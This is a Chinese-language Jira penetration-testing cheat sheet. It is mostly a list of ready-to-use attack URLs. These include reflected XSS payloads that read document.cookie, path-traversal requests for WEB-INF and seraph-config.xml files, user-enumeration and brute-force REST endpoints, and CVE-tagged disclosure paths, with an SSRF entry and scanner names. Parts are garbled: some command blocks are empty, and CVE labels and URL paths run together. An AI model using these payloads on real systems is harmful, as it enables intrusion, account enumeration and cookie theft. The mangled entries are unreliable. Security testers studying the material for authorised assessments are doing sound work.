Jira渗透测试实战:权限绕过与漏洞利用指南
Jira是Atlassian开发的项目管理和问题跟踪工具。它最常用于软件开发,但也可以管理IT、业务和其他领域的项目。
Jira权限配置
Jira中的权限可以被任何用户访问:
-
ADD_COMMENTS
-
ADMINISTER
-
ADMINISTER_PROJECTS
-
ASSIGNABLE_USER
-
等等…
要查看用户被允许的权限:
|
|
在://后替换你的域名
选择以下注释之一,但用其替换ADD_COMMENTS:
Jira中的重要路径
可以泄露信息的Jira路径:
/secure/ManageFilters.jspa?filter=popular&filterView=popular
/secure/Dashboard.jspa
=> 项目密钥枚举 => CVE-2020-14178/secure/QueryComponent!Default.jspa
=> CVE-2020-14179/secure/Dashboard.jspa/secure/QueryComponent!Default.jspa
CVE-2020-14179/secure/ViewUserHover.jspa?username=<uname>
=> CVE-2020-14181 用户名枚举/secure/popups/UserPickerBroswer.jspa
/ConfigurePortalPages!default.jspa?view=popular
/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin
/secure/popups/UserPickerBrowser.jspa
/_*/;/WEB-INF/web.xml*
*/_*/;/WEB-INF/decorators.xml
/_*/;/WEB-INF/classes/seraph-config.xml*
*/_*/;/META-INF/maven/com.atlassian.jira/jira-webappdist/pom.properties
/_*/;/META-INF/maven/com.atlassian.jira/jira-webappdist/pom.xml*
*/_*/;/META-INF/maven/com.atlassian.jira/atlassianjira-webapp/pom.xml
通过Jira的XSS攻击
/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=x2rnu%3Cscript%3Ealert(1)%3C%2fscript%3Et1nmk&Search=Search
/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search
/plugins/servlet/Wallboard/?dashboardId=10100&dashboardId=10101&cyclePeriod=(function(){alert(document.cookie);return%2030000;})()&transitionFx=none&random=true
/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)
Jira中的用户枚举
- 用户名枚举 => CVE-2019-3403
/rest/api/2/user/picker?query=admin
/rest/api/2/dashboard?maxResults=100
/rest/api/2/dashboard/FUZZ
从1-20000/rest/api/3/mypermissions
/rest/api/2/mypermissions
Jira中的信息泄露
/rest/dashboards/1.0/10000/gadget/<GadgetId>/prefs
- => 暴力破解10,000到20,000 => CVE-2020-36287
- CVE-2019-8442
/s/thiscanbeanythingyouwant/_/METAINF/maven/com.atlassian.jira/atlassian-jirawebapp/pom.xml
- CVE-2019-8449
/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true
SSRF攻击
- CVE-2019-8451
|
|
Jira中的自动化工具
- Jira-Lens
- jira_scan
- Jiraffe
重要资源
https://github.com/UGF0aWVudF9aZXJv/Atlassian-Jira-pentesting